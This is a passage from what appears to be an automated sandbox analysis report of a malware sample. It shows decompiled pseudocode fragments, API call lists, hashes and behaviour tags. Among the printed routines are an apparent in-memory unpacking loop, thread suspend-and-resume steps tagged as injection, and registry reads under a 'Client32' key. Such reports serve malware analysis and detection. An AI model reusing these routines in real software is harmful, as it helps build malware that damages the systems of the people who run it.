								E003C1F94(_t113, E003CEEB8(_t92), _t110, _t138);
							}
							L30:
							if( *((char*)(_t92 + 0x22e)) != 0) {
								E003B55A4(_t92, 1);
							}
							E003B4418(_t92);
							_pop(_t98);
							 *[fs:eax] = _t98;
							_push(0x3b46ad);
							return E00383EBC( &_v20);
						}
					}
				}
				_t77 =  *0x3dbb20; // 0x2141474
				_t79 = E003B7D10(_t77) - 1;
				if(_t79 >= 0) {
					_v8 = _t79 + 1;
					_t111 = 0;
					do {
						_t81 =  *0x3dbb20; // 0x2141474
						if(_t113 ==  *((intOrPtr*)(E003B7CFC(_t81, _t111) + 0x248))) {
							_t83 =  *0x3dbb20; // 0x2141474
							if(_t92 != E003B7CFC(_t83, _t111)) {
								_v16 =  *((intOrPtr*)(_t113 + 8));
								_v12 = 0xb;
								_t87 =  *0x3d9f04; // 0x39de78
								E00385C40(_t87,  &_v20);
								E0038B600(_t92, _v20, 1, _t111, _t113, 0,  &_v16);
								E00383870();
							}
						}
						_t111 = _t111 + 1;
						_t10 =  &_v8;
						 *_t10 = _v8 - 1;
					} while ( *_t10 != 0);
				}
			}

0x003b44e0
0x003b44e8
0x003b44eb
0x003b44ee
0x003b44f0
0x003b44f4
0x003b44f5
0x003b44fa
0x003b44fd
0x003b4502
0x003b4574
0x003b4574
0x003b457c
0x003b4580
0x003b4580
0x003b4589
0x003b4595
0x003b4595
0x003b4597
0x003b459f
0x003b45a5
0x003b45a5
0x003b45ac
0x003b465f
0x003b4664
0x003b4666
0x003b4672
0x003b4672
0x00000000
0x003b45c5
0x003b45cf
0x003b45de
0x003b4638
0x003b463f
0x003b4643
0x003b4648
0x003b464a
0x003b4656
0x003b4656
0x003b464a
0x00000000
0x003b463f
0x00000000
0x003b45e0
0x003b45e0
0x003b45e9
0x003b45f7
0x003b45fa
0x003b4604
0x003b4609
0x003b460b
0x003b4615
0x003b4621
0x003b4621
0x003b4631
0x003b4631
0x003b4677
0x003b467e
0x003b4684
0x003b4684
0x003b468b
0x003b4692
0x003b4695
0x003b4698
0x003b46a5
0x003b46a5
0x003b45cf
0x003b45ac
0x003b4504
0x003b450e
0x003b4511
0x003b4514
0x003b4517
0x003b4519
0x003b451b
0x003b452b
0x003b452f
0x003b453b
0x003b4540
0x003b4543
0x003b4550
0x003b4555
0x003b4564
0x003b4569
0x003b4569
0x003b453b
0x003b456e
0x003b456f
0x003b456f
0x003b456f
0x003b4519

APIs

GetMenu.USER32 ref: 003B4604
SetMenu.USER32 ref: 003B4621
SetMenu.USER32 ref: 003B4656
SetMenu.USER32 ref: 003B4672

Part of subcall function 00385C40: LoadStringA.USER32 ref: 00385C71

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: Menu$LoadString
String ID:
API String ID: 3688185913-0
Opcode ID: 67355f51e47c1717ae5df663273257cd720f5b819a912369569f7fb87fead3a2
Instruction ID: 3cf8ca10406809d03e4687ce3ac947d450c5739566fa9e3e5536748f4816afc6
Opcode Fuzzy Hash: 67355f51e47c1717ae5df663273257cd720f5b819a912369569f7fb87fead3a2
Instruction Fuzzy Hash: 7851C030A007449BDB23EB788985BEA77A89F46308F0644BAFD40DFA97CB34DC448758

Uniqueness

Uniqueness Score: -1.00%

Function 02359E0D, Relevance: 6.1, APIs: 4, Instructions: 110threadsynchronizationinjectionCOMMON

Download Yara Rule

APIs

memset.NTDLL ref: 02359E3B
ResumeThread.KERNEL32(?,?,00000004,00000004,?,?,?,?,?,00000004,?), ref: 02359EC5
WaitForSingleObject.KERNEL32(00000064), ref: 02359ED3
SuspendThread.KERNEL32(?), ref: 02359EE6

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: Thread$ObjectResumeSingleSuspendWaitmemset
String ID:
API String ID: 3168247402-0
Opcode ID: 8b3cc031476f1e4225b83b85f92ebe0dc078453f94b56233b84e4edb8cd056b7
Instruction ID: 10e26241a768b8a4e275fa26b8669adc6b45f0f568eb7631f3ef20d14a59d0b5
Opcode Fuzzy Hash: 8b3cc031476f1e4225b83b85f92ebe0dc078453f94b56233b84e4edb8cd056b7
Instruction Fuzzy Hash: 15411C71108301EFE721EF64C980E6BBBEEFF88754F14492DFA9892160D771D9548BA2

Uniqueness

Uniqueness Score: -1.00%

Function 004315A5, Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 96
memoryCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E004315A5(void* __edi, intOrPtr _a4) {
				intOrPtr _v8;
				unsigned int _v12;
				intOrPtr _v16;
				char _v20;
				void* _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				void* _v36;
				signed int _v44;
				signed int _v48;
				intOrPtr _t39;
				void* _t46;
				intOrPtr _t47;
				intOrPtr _t50;
				signed int _t59;
				signed int _t61;
				intOrPtr _t66;
				intOrPtr _t77;
				void* _t78;
				signed int _t80;

				_t77 =  *0x434130;
				_t39 = E004317BB(_t77,  &_v20,  &_v12);
				_v16 = _t39;
				if(_t39 == 0) {
					asm("sbb ebx, ebx");
					_t59 =  ~( ~(_v12 & 0x00000fff)) + (_v12 >> 0xc);
					_t78 = _t77 + _v20;
					_v36 = _t78;
					_t46 = VirtualAlloc(0, _t59 << 0xc, 0x3000, 4); // executed
					_v24 = _t46;
					if(_t46 == 0) {
						_v16 = 8;
					} else {
						_t61 = 0;
						if(_t59 <= 0) {
							_t47 =  *0x43414c;
						} else {
							_t66 = _a4;
							_t50 = _t46 - _t78;
							_t11 = _t66 + 0x4351a7; // 0x4351a7
							_v28 = _t50;
							_v32 = _t50 + _t11;
							_v8 = _t78;
							while(1) {
								asm("movsd");
								asm("movsd");
								asm("movsd");
								_t19 = _t61 + 1; // 0x2
								_t80 = _t19;
								E00431C64(_v8 + _t50, _v8, (_v48 ^ _v44) + _v20 + _a4 >> _t80);
								_t64 = _v32;
								_v8 = _v8 + 0x1000;
								_t47 =  *((intOrPtr*)(_v32 + 0xc)) -  *((intOrPtr*)(_t64 + 8)) +  *((intOrPtr*)(_t64 + 4));
								_t61 = _t80;
								 *0x43414c = _t47;
								if(_t61 >= _t59) {
									break;
								}
								_t50 = _v28;
							}
						}
						if(_t47 != 0x63699bc3) {
							_v16 = 0xc;
						} else {
							memcpy(_v36, _v24, _v12);
						}
						VirtualFree(_v24, 0, 0x8000); // executed
					}
				}
				return _v16;
			}

0x004315ac
0x004315bc
0x004315c3
0x004315c6
0x004315db
0x004315e2
0x004315e7
0x004315f8
0x004315fb
0x00431603
0x00431606
0x004316b0
0x0043160c
0x0043160c
0x00431610
0x00431678
0x00431612
0x00431612
0x00431615
0x00431617
0x0043161f
0x00431622
0x00431625
0x0043162d
0x00431635
0x00431636
0x00431637
0x0043163e
0x0043163e
0x00431652
0x00431657
0x00431660
0x00431667
0x0043166a
0x0043166e
0x00431673
0x00000000
0x00000000
0x0043162a
0x0043162a
0x00431675
0x00431682
0x00431697
0x00431684
0x0043168d
0x00431692
0x004316a8
0x004316a8
0x004316b7
0x004316bd

APIs

VirtualAlloc.KERNELBASE(00000000,?,00003000,00000004,00000000,0043103E,?,00000000,?,?,?,?,?,?,?,0043103E), ref: 004315FB
memcpy.NTDLL(?,?,?,?,?,?,?,?,?,?,0043103E,00000000), ref: 0043168D
VirtualFree.KERNELBASE(?,00000000,00008000,?,?,?,?,?,?,?,0043103E), ref: 004316A8

Strings

Feb 1 2021, xrefs: 0043162D

Memory Dump Source

Source File: 00000004.00000002.2416019443.0000000000430000.00000040.00000001.sdmp, Offset: 00430000, based on PE: true

Associated: 00000004.00000002.2416029859.0000000000435000.00000040.00000001.sdmp Download File

Similarity

API ID: Virtual$AllocFreememcpy
String ID: Feb 1 2021
API String ID: 4010158826-3941213537
Opcode ID: 20a08cd8e18a1160fb163e43d00735e9ee4f66e1c15b5571aa3d75a27b45d783
Instruction ID: d71b5519726210c05ca5e2dc9520838edab1dd1068d458083bb1af212320f004
Opcode Fuzzy Hash: 20a08cd8e18a1160fb163e43d00735e9ee4f66e1c15b5571aa3d75a27b45d783
Instruction Fuzzy Hash: 9C316171E002099FDF00CF99C881BEEBBB5BF48304F14916AE904B7255D775AA068F98

Uniqueness

Uniqueness Score: -1.00%

Function 0234B042, Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00003000,00000004,?,?,?), ref: 0234B094
memcpy.NTDLL(?,?,?,?,?,?), ref: 0234B125
VirtualFree.KERNELBASE(?,00000000,00008000,?,?,?), ref: 0234B140

Strings

Feb 1 2021, xrefs: 0234B0B5

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: Virtual$AllocFreememcpy
String ID: Feb 1 2021
API String ID: 4010158826-3941213537
Opcode ID: 6eb87aeba17af56cf8e3b73293963bea57a86cbba104a4818f9fb50ecf63a33a
Instruction ID: 2eddca67010c9e3cf4ed00a99a6fd7fb135ced74e4421ebcc05a3901f28f26bb
Opcode Fuzzy Hash: 6eb87aeba17af56cf8e3b73293963bea57a86cbba104a4818f9fb50ecf63a33a
Instruction Fuzzy Hash: EF314371E40219ABDB10DF94CC85BEEB7FAEF08704F1445A5E905FB280D7B1AA168B90

Uniqueness

Uniqueness Score: -1.00%

Function 004748CC, Relevance: 6.1, APIs: 4, Instructions: 87
sleepCOMMON

Download Yara Rule

C-Code - Quality: 41%

			E004748CC(void* __ecx, void* __eflags, intOrPtr _a4, signed int* _a8, intOrPtr _a12) {
				intOrPtr _v12;
				void* _v16;
				void* _v28;
				char _v32;
				void* __esi;
				void* _t20;
				void* _t26;
				void* _t29;
				void* _t38;
				signed int* _t39;
				void* _t40;

				_t36 = __ecx;
				_v32 = 0;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_v12 = _a4;
				_t20 = E00477EFA(__ecx,  &_v32); // executed
				_t38 = _t20;
				if(_t38 != 0) {
					L12:
					_t39 = _a8;
					L13:
					if(_t39 != 0 && ( *_t39 & 0x00000001) == 0) {
						_t16 =  &(_t39[1]); // 0x5
						_t23 = _t16;
						if( *_t16 != 0) {
							E0047A6C5(_t23);
						}
					}
					return _t38;
				}
				_t26 = E00476C01(0x40,  &_v16); // executed
				if(_t26 != 0) {
					_v16 = 0;
				}
				_t40 = CreateEventA(0x47d2a8, 1, 0,  *0x47d344);
				if(_t40 != 0) {
					SetEvent(_t40);
					Sleep(0xbb8);
					CloseHandle(_t40);
				}
				_push( &_v32);
				if(_a12 == 0) {
					_t29 = E004727B1(_t36); // executed
				} else {
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_t29 = E004718C1(_t36);
				}
				_t41 = _v16;
				_t38 = _t29;
				if(_v16 != 0) {
					E0047A3B5(_t41);
				}
				if(_t38 != 0) {
					goto L12;
				} else {
					_t39 = _a8;
					_t38 = E004728C2( &_v32, _t39);
					goto L13;
				}
			}

0x004748cc
0x004748d9
0x004748df
0x004748e0
0x004748e1
0x004748e2
0x004748e3
0x004748e7
0x004748ee
0x004748f3
0x004748f7
0x0047497f
0x0047497f
0x00474982
0x00474984
0x0047498c
0x0047498c
0x00474992
0x00474995
0x00474995
0x00474992
0x004749a0
0x004749a0
0x00474903
0x0047490a
0x0047490c
0x0047490c
0x00474923
0x00474927
0x0047492a
0x00474935
0x0047493c
0x0047493c
0x00474948
0x00474949
0x00474957
0x0047494b
0x0047494b
0x0047494c
0x0047494d
0x0047494e
0x0047494f
0x00474950
0x00474950
0x0047495c
0x00474961
0x00474963
0x00474965
0x00474965
0x0047496c
0x00000000
0x0047496e
0x0047496e
0x0047497b
0x00000000
0x0047497b

APIs

CreateEventA.KERNEL32(0047D2A8,00000001,00000000,00000040,00000001,?,7671BB27,00000000,766F41C0,?,?,?,004787D8,?,00000001,?), ref: 0047491D
SetEvent.KERNEL32(00000000,?,?,?,004787D8,?,00000001,?,00000002,?,?,004791D2,?), ref: 0047492A
Sleep.KERNEL32(00000BB8,?,?,?,004787D8,?,00000001,?,00000002,?,?,004791D2,?), ref: 00474935
CloseHandle.KERNEL32(00000000), ref: 0047493C

Part of subcall function 004727B1: RegOpenKeyExA.KERNEL32(80000003,00000000,00000000,00020019,?,00000000,00000000,?,?,?,?,?,0047495C,?), ref: 004727D7
Part of subcall function 004727B1: RegEnumKeyExA.KERNEL32(?,?,?,\IG,00000000,00000000,00000000,00000000,00000104,00000000,?,?,?,?,?,0047495C), ref: 0047281E
Part of subcall function 004727B1: WaitForSingleObject.KERNEL32(00000000,00000001), ref: 0047288B
Part of subcall function 004727B1: RegCloseKey.ADVAPI32(?,00000104,00000000,?,?,?,?,?,0047495C,?,?,?,?,004787D8,?,00000001), ref: 004728B3

Memory Dump Source

Source File: 00000004.00000002.2416059083.0000000000471000.00000020.00000001.sdmp, Offset: 00470000, based on PE: true

Associated: 00000004.00000002.2416051462.0000000000470000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416070914.000000000047C000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.2416079374.000000000047D000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416087779.000000000047F000.00000002.00000001.sdmp Download File

Similarity

API ID: CloseEvent$CreateEnumHandleObjectOpenSingleSleepWait
String ID:
API String ID: 891522397-0
Opcode ID: b917029580a8b95f88522d654ca59305fae8e709a03834196c5dd2e21b563fbf
Instruction ID: 2085da8a91874c1b0aa00a7b00fddd8c6b94d5f85646530c20a579807aa0bd0f
Opcode Fuzzy Hash: b917029580a8b95f88522d654ca59305fae8e709a03834196c5dd2e21b563fbf
Instruction Fuzzy Hash: 9B21B6B2900105ABCB10AFF588818FFB379EB84354B01C42BEB59A7240D7789D4587A9

Uniqueness

Uniqueness Score: -1.00%

Function 0235E193, Relevance: 6.1, APIs: 4, Instructions: 64memoryregistryCOMMON

Download Yara Rule

APIs

RegQueryValueExA.KERNEL32(?,00000000,00000000,?,00000000,?,00000000,?,?,?,?,02352B57,?,Client32,?,?), ref: 0235E1B8
RtlAllocateHeap.NTDLL(00000000,?,00000000), ref: 0235E1CF
HeapFree.KERNEL32(00000000,00000000), ref: 0235E1EA
RegQueryValueExA.KERNEL32(?,00000000,00000000,?,00000000,?,?,?,?,02352B57,?,Client32,?,?,?,Software\AppDataLow\Software\Microsoft\), ref: 0235E209

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: HeapQueryValue$AllocateFree
String ID:
API String ID: 4267586637-0
Opcode ID: b9bbf68a1d5c277250fcd8423c6e40d85333d1e5b6c42bf6effc6c029ed316ee
Instruction ID: 0b3ae2a12307da4fab91345f2134ecb0a6fc2c2dc77b66554b0a58c490014cd7
Opcode Fuzzy Hash: b9bbf68a1d5c277250fcd8423c6e40d85333d1e5b6c42bf6effc6c029ed316ee
Instruction Fuzzy Hash: EE116AB6940228FFCB128F98DC88CEEBBBCEB88750F104466FD05A6211D2715F51DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 0039DA20, Relevance: 6.1, APIs: 4, Instructions: 59
registryCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E0039DA20(intOrPtr _a4, short _a6, intOrPtr _a8) {
				struct _WNDCLASSA _v44;
				struct HINSTANCE__* _t6;
				CHAR* _t8;
				struct HINSTANCE__* _t9;
				int _t10;
				void* _t11;
				struct HINSTANCE__* _t13;
				struct HWND__* _t15;
				struct HINSTANCE__* _t19;
				CHAR* _t20;
				struct HWND__* _t22;
				CHAR* _t24;

				_t6 =  *0x3db668; // 0x380000
				 *0x3d941c = _t6;
				_t8 =  *0x3d9430; // 0x39da10
				_t9 =  *0x3db668; // 0x380000
				_t10 = GetClassInfoA(_t9, _t8,  &_v44);
				asm("sbb eax, eax");
				_t11 = _t10 + 1;
				if(_t11 == 0 || L003865BC != _v44.lpfnWndProc) {
					if(_t11 != 0) {
						_t19 =  *0x3db668; // 0x380000
						_t20 =  *0x3d9430; // 0x39da10
						UnregisterClassA(_t20, _t19);
					}
					RegisterClassA(0x3d940c);
				}
				_t13 =  *0x3db668; // 0x380000
				_t24 =  *0x3d9430; // 0x39da10
				_t15 = E00386AF8(0x80, _t24, 0, _t13, 0, 0, 0, 0, 0, 0, 0x80000000); // executed
				_t22 = _t15;
				if(_a6 != 0) {
					SetWindowLongA(_t22, 0xfffffffc, E0039D964(_a4, _a8));
				}
				return _t22;
			}

0x0039da27
0x0039da2c
0x0039da35
0x0039da3b
0x0039da41
0x0039da49
0x0039da4b
0x0039da4e
0x0039da5c
0x0039da5e
0x0039da64
0x0039da6a
0x0039da6a
0x0039da74
0x0039da74
0x0039da8a
0x0039da97
0x0039daa2
0x0039daa7
0x0039daae
0x0039dabf
0x0039dabf
0x0039daca

APIs

GetClassInfoA.USER32(00380000,0039DA10,?), ref: 0039DA41
UnregisterClassA.USER32(0039DA10,00380000), ref: 0039DA6A
RegisterClassA.USER32(003D940C), ref: 0039DA74
SetWindowLongA.USER32 ref: 0039DABF

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: Class$InfoLongRegisterUnregisterWindow
String ID:
API String ID: 4025006896-0
Opcode ID: f13f92adac19c605efd634fd5a9aa7ab6e40443b78e5f07953852e7ebcbbe0f8
Instruction ID: 0647474e881c41d84a0ec8981978336ac3b5e2e6f7305975133d97936c79f819
Opcode Fuzzy Hash: f13f92adac19c605efd634fd5a9aa7ab6e40443b78e5f07953852e7ebcbbe0f8
Instruction Fuzzy Hash: BE018072645204ABCF03FBA9EC82FAA73ACE708314F514253F904EB2A2D771D851C754

Uniqueness

Uniqueness Score: -1.00%

Function 023573C8, Relevance: 6.0, APIs: 4, Instructions: 39stringCOMMON

Download Yara Rule

APIs

Part of subcall function 02350F24: RtlAllocateHeap.NTDLL(00000000,?,02354D76), ref: 02350F30

GetProcessImageFileNameW.PSAPI(?,00000000,00000800,00001000,?,00000000,02357697,?,02345105,?), ref: 023573E7
PathFindFileNameW.SHLWAPI(00000000), ref: 023573F2
_wcsupr.NTDLL ref: 023573FF
lstrlenW.KERNEL32(00000000), ref: 02357407

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: FileName$AllocateFindHeapImagePathProcess_wcsuprlstrlen
String ID:
API String ID: 2533608484-0
Opcode ID: 9b0a9141b642253c23f467590e5bf8f75e993e6bc8408a19eba11549dacc0bf7
Instruction ID: d79eb07f9412c72d38a97f08a82a790dbe1eb0e23dd3eebb10802a8d3b8841ca
Opcode Fuzzy Hash: 9b0a9141b642253c23f467590e5bf8f75e993e6bc8408a19eba11549dacc0bf7
Instruction Fuzzy Hash: 57F02EB1F416306B92326A346C8CE7FA9AFFF85B95F108469FC05C1140DF64DC259960

Uniqueness

Uniqueness Score: -1.00%

Function 02350560, Relevance: 6.0, APIs: 4, Instructions: 37threadCOMMON

Download Yara Rule

APIs

WaitForMultipleObjects.KERNEL32(00000002,?,00000000,000000FF), ref: 0235057F

Part of subcall function 0236023E: RtlEnterCriticalSection.NTDLL(00000000), ref: 0236024A
Part of subcall function 0236023E: CloseHandle.KERNEL32(?), ref: 02360258
Part of subcall function 0236023E: RtlLeaveCriticalSection.NTDLL(00000000), ref: 02360274

CloseHandle.KERNEL32(?), ref: 0235058D
InterlockedDecrement.KERNEL32(02366FDC), ref: 0235059C

Part of subcall function 0235D0BF: SetEvent.KERNEL32(000001F4,023505B7), ref: 0235D0C9
Part of subcall function 0235D0BF: CloseHandle.KERNEL32(000001F4), ref: 0235D0DE
Part of subcall function 0235D0BF: HeapDestroy.KERNELBASE(04510000), ref: 0235D0EE

RtlExitUserThread.NTDLL(00000000), ref: 023505B8

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: CloseHandle$CriticalSection$DecrementDestroyEnterEventExitHeapInterlockedLeaveMultipleObjectsThreadUserWait
String ID:
API String ID: 1141245775-0
Opcode ID: 59d08870d24c4ca6e622750f3c74f45875492b431535b12c1762f0a707a3b8ce
Instruction ID: 8e751badcc17941b0fec0641a8a93a397a8e534b91ccae6ad2c3f1ad8dfc0957
Opcode Fuzzy Hash: 59d08870d24c4ca6e622750f3c74f45875492b431535b12c1762f0a707a3b8ce
Instruction Fuzzy Hash: 69F0FF70E40314BBE7155F38880EF7A7B2CEF05B30F108A59F92A872C0DB7499028BA0

Uniqueness

Uniqueness Score: -1.00%

Function 00479D72, Relevance: 4.6, APIs: 3, Instructions: 94
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00479D72() {
				void* _v8;
				int _v12;
				WCHAR* _v16;
				void* __esi;
				void* _t23;
				intOrPtr _t24;
				void* _t26;
				intOrPtr _t32;
				intOrPtr _t35;
				intOrPtr _t38;
				intOrPtr _t42;
				void* _t45;
				void* _t54;

				_v12 = 0;
				_t23 = E00476C01(0,  &_v8); // executed
				if(_t23 != 0) {
					_v8 = 0;
				}
				_t24 =  *0x47d27c; // 0x374a7d0
				_t4 = _t24 + 0x47edd0; // 0x3bc95a0
				_t5 = _t24 + 0x47ed78; // 0x4f0053
				_t26 = E00478FAB( &_v16, _v8, _t5, _t4); // executed
				_t45 = _t26;
				if(_t45 == 0) {
					StrToIntExW(_v16, 0,  &_v12);
					_t45 = 8;
					if(_v12 < _t45) {
						_t45 = 1;
						__eflags = 1;
					} else {
						_t32 =  *0x47d27c; // 0x374a7d0
						_t11 = _t32 + 0x47edc4; // 0x3bc9594
						_t48 = _t11;
						_t12 = _t32 + 0x47ed78; // 0x4f0053
						_t54 = E00478B9C(_t11, _t12, _t11);
						_t58 = _t54;
						if(_t54 != 0) {
							_t35 =  *0x47d27c; // 0x374a7d0
							_t13 = _t35 + 0x47ee0e; // 0x30314549
							if(E00472327(_t48, _t58, _v8, _t54, _t13, 0x14) == 0) {
								_t60 =  *0x47d25c - 6;
								if( *0x47d25c <= 6) {
									_t42 =  *0x47d27c; // 0x374a7d0
									_t15 = _t42 + 0x47ec2a; // 0x52384549
									E00472327(_t48, _t60, _v8, _t54, _t15, 0x13);
								}
							}
							_t38 =  *0x47d27c; // 0x374a7d0
							_t17 = _t38 + 0x47ee08; // 0x3bc95d8
							_t18 = _t38 + 0x47ede0; // 0x680043
							_t45 = E0047A202(_v8, 0x80000001, _t54, _t18, _t17);
							HeapFree( *0x47d238, 0, _t54);
						}
					}
					HeapFree( *0x47d238, 0, _v16);
				}
				_t53 = _v8;
				if(_v8 != 0) {
					E0047A3B5(_t53);
				}
				return _t45;
			}

0x00479d82
0x00479d85
0x00479d8c
0x00479d8e
0x00479d8e
0x00479d91
0x00479d96
0x00479d9d
0x00479daa
0x00479daf
0x00479db3
0x00479dc1
0x00479dcf
0x00479dd3
0x00479e64
0x00479e64
0x00479dd9
0x00479dd9
0x00479dde
0x00479dde
0x00479de5
0x00479df1
0x00479df3
0x00479df5
0x00479df7
0x00479dfe
0x00479e10
0x00479e12
0x00479e19
0x00479e1b
0x00479e22
0x00479e2d
0x00479e2d
0x00479e19
0x00479e32
0x00479e37
0x00479e3e
0x00479e5c
0x00479e5e
0x00479e5e
0x00479df5
0x00479e70
0x00479e70
0x00479e72
0x00479e77
0x00479e79
0x00479e79
0x00479e84

APIs

StrToIntExW.SHLWAPI(?,00000000,?), ref: 00479DC1
HeapFree.KERNEL32(00000000,00000000,?), ref: 00479E5E
HeapFree.KERNEL32(00000000,?), ref: 00479E70

Memory Dump Source

Source File: 00000004.00000002.2416059083.0000000000471000.00000020.00000001.sdmp, Offset: 00470000, based on PE: true

Associated: 00000004.00000002.2416051462.0000000000470000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416070914.000000000047C000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.2416079374.000000000047D000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416087779.000000000047F000.00000002.00000001.sdmp Download File

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: e62d1039170173fa1a0a170d60f7a771791f07d7e313f4ad1fac38fd588923f3
Instruction ID: 64e3f9c66831ff0c3666a76547d0440cc76dbd024732ae2e06cb1c4a5764f646
Opcode Fuzzy Hash: e62d1039170173fa1a0a170d60f7a771791f07d7e313f4ad1fac38fd588923f3
Instruction Fuzzy Hash: 3431C171900108BFEB21DBA2CC84DEA77BCEF48314F1481EAB60C97262D7709E45DB18

Uniqueness

Uniqueness Score: -1.00%

Function 0038BE5C, Relevance: 4.6, APIs: 3, Instructions: 77
COMMON

Download Yara Rule

C-Code - Quality: 43%

			E0038BE5C(void* __eax, void* __ebx) {
				intOrPtr _v8;
				char _v12;
				char _v16;
				intOrPtr _v20;
				char _v24;
				char _v28;
				void* _t27;
				void* _t37;
				intOrPtr _t43;
				void* _t48;
				intOrPtr _t55;
				intOrPtr _t56;
				void* _t58;
				void* _t59;
				intOrPtr _t60;

				_t58 = _t59;
				_t60 = _t59 + 0xffffffe8;
				_v12 = 0;
				_push(_t58);
				_push(0x38bf32);
				_push( *[fs:eax]);
				 *[fs:eax] = _t60;
				_v8 = 0xffffffff;
				E00383F54( &_v12, __eax);
				E003843CC( &_v12);
				_push( &_v16);
				_t27 = E0038437C(_v12);
				_push(_t27); // executed
				L00386364(); // executed
				_t48 = _t27;
				if(_t48 == 0) {
					_pop(_t55);
					 *[fs:eax] = _t55;
					_push(E0038BF39);
					return E00383EBC( &_v12);
				} else {
					_v20 = E003826CC(_t48);
					_push(_t58);
					_push(0x38bf15);
					_push( *[fs:eax]);
					 *[fs:eax] = _t60;
					_push(_v20);
					_push(_t48);
					_push(_v16);
					_t37 = E0038437C(_v12);
					_push(_t37); // executed
					L0038635C(); // executed
					if(_t37 != 0) {
						_push( &_v28);
						_push( &_v24);
						_push(E0038BF44);
						_t43 = _v20;
						_push(_t43);
						L0038636C();
						if(_t43 != 0) {
							_v8 =  *((intOrPtr*)(_v24 + 8));
						}
					}
					_pop(_t56);
					 *[fs:eax] = _t56;
					_push(0x38bf1c);
					return E003826EC(_v20);
				}
			}

0x0038be5d
0x0038be5f
0x0038be65
0x0038be6c
0x0038be6d
0x0038be72
0x0038be75
0x0038be78
0x0038be84
0x0038be8c
0x0038be94
0x0038be98
0x0038be9d
0x0038be9e
0x0038bea3
0x0038bea7
0x0038bf1e
0x0038bf21
0x0038bf24
0x0038bf31
0x0038bea9
0x0038beb0
0x0038beb5
0x0038beb6
0x0038bebb
0x0038bebe
0x0038bec4
0x0038bec5
0x0038bec9
0x0038becd
0x0038bed2
0x0038bed3
0x0038beda
0x0038bedf
0x0038bee3
0x0038bee4
0x0038bee9
0x0038beec
0x0038beed
0x0038bef4
0x0038befc
0x0038befc
0x0038bef4
0x0038bf01
0x0038bf04
0x0038bf07
0x0038bf14
0x0038bf14

APIs

72FF1C9C.VERSION(00000000,?,00000000,0038BF32), ref: 0038BE9E
72FF1CED.VERSION(00000000,?,00000000,?,00000000,0038BF15,?,00000000,?,00000000,0038BF32), ref: 0038BED3
72FF1B72.VERSION(?,0038BF44,?,?,00000000,?,00000000,?,00000000,0038BF15,?,00000000,?,00000000,0038BF32), ref: 0038BEED

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 56f33165883d49fd0f639f72d99fef098431018c4f8813078185c634f51aafcd
Instruction ID: b3e02002e0121dadd81b5101bbef2061c9d17413cf714225ac028161fc5ce6ab
Opcode Fuzzy Hash: 56f33165883d49fd0f639f72d99fef098431018c4f8813078185c634f51aafcd
Instruction Fuzzy Hash: DB210C75A0474AAFDB02FFA5CC528AEF7FCEB48710B5144B5F500E7651E774AA048B24

Uniqueness

Uniqueness Score: -1.00%

Function 004785F4, Relevance: 4.6, APIs: 3, Instructions: 76
memoryCOMMON

Download Yara Rule

C-Code - Quality: 54%

			E004785F4(void* __ecx, char _a4, void** _a8, intOrPtr* _a12, intOrPtr* _a16, intOrPtr* _a20) {
				void* _v8;
				void* __edi;
				intOrPtr _t18;
				void* _t24;
				void* _t30;
				void* _t37;
				void* _t40;
				intOrPtr _t42;

				_t32 = __ecx;
				_push(__ecx);
				_push(__ecx);
				_t42 =  *0x47d340; // 0x3bc9c50
				_push(0x800);
				_push(0);
				_push( *0x47d238);
				if( *0x47d24c >= 5) {
